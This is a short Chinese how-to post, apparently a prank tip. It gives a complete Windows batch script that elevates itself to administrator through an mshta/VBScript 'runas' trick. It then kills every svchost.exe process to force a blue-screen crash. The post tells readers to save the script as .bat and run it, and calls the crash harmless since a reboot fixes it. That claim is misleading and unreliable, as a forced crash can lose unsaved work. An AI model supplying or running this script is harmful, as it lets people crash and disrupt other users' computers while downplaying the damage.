新建一个文本文档，在里面输入：

@echo off
%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",1)(window.close)&&exit
cd /d "%~dp0"
wmic process where name="svchost.exe" delete  

保存，将后缀名改为bat，打开，电脑就蓝屏啦。

这种蓝屏对电脑是无害的，重启一遍就好了。